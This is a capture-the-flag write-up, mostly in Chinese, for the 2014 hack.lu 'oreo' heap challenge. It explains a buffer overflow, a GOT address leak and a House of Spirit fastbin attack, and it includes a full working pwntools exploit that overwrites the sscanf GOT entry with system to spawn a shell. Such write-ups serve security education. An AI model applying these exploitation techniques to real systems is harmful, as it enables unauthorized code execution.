grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec oreo [*] '/home/grxer/Desktop/pwn/heap/oreo' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo
泄露地址 add函数里存在溢出漏洞
00000000 rifle struc ; (sizeof=0x38, mappedto_5) 00000000 descript db 25 dup(?) 00000019 name db 27 dup(?) 00000034 next dd ? ; offset 00000038 rifle ends
往name和的script里面都是读了56个字节,都可以溢出
覆盖next为putsgot在show函数里可以在第二次打印时泄露
.text:08048774 mov eax, [ebp+var_14] .text:08048777 mov [esp+4], eax .text:0804877B mov dword ptr [esp], offset aDescriptionS ; "Description: %s\n" .text:08048782 call _printf
这里直接把eax里内容next地址放到eax,可以%s解析got打印出来
puts_got=elf.got[‘puts’] payload1 = b’a’*27+p32(puts_got) add(b’a’*25,payload1) show_rifle()
House Of Spirit 这里需要绕过一些检测
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ
,同时也不能大于av->system_mem
。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
这里我们可以控制next,可以free(next),可以修改notice,而且notice指针上面就可以控制size大小,天生的伪造,再申请控制0804A2A8
bss:0804A2A4 rifle_cnt dd ? ; DATA XREF: add+C5↑r .bss:0804A2A4 ; add+CD↑w ... .bss:0804A2A8 ; char *notice .bss:0804A2A8 notice dd ? ; DATA XREF: message+23↑r .bss:0804A2A8 ; message+3C↑r ...
我们申请只能在add函数里面malloc(0x38),也就是说size必须控制为0x38+0x8来申请,这样我们申请0x40个chunk,再控制最后一个next指针指向0804A2A8,这个伪造chunk next域必须为空,防止free chunk->next,这里是往0804A2A8里面的地址0804A2c0去写数据
,padding0x20,即可满足到底下一个fake chunk,将其prev size和size改为满足条件即可
再集体free掉,fastbin先进先出,再次申请一个就可以拿到0804A2A0处的chunk,改写__isoc99_sscanfgot即可
EXP from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ) pwnfile='./oreo' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE' ]: io = remote() else : io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->' +hex (y)) def add (descrip, name ): io.sendline('1' ) io.sendline(name) io.sendline(descrip) def show_rifle (): io.sendline('2' ) io.recvuntil('===================================\n' ) def order (): io.sendline('3' ) def message (notice ): io.sendline('4' ) io.sendline(notice) puts_got=elf.got['puts' ] payload1 = b'a' *27 +p32(puts_got) add(b'a' *25 ,payload1) show_rifle() ru(b'Description: ' ) ru(b'Description: ' ) puts_ad=u32(r(4 )) p('puts_ad' ,puts_ad) libc=LibcSearcher('puts' ,puts_ad) base=puts_ad-libc.dump('puts' ) system_addr=base+libc.dump('system' ) for i in range (0x3e ): add('a' *25 ,'a' *27 ) payload2 = b'a' *27 +p32(0x0804a2a8 ) add(b'a' *25 ,payload2) payload3 = b'\x00' *0x20 +p32(0x41 )+p32(0x50 ) message(payload3) order() gdb.attach(io) sscanf_got = elf.got['__isoc99_sscanf' ] add(p32(sscanf_got),b'a' ) message(p32(system_addr)) sl(b'/bin/sh\x00' ) io.interactive()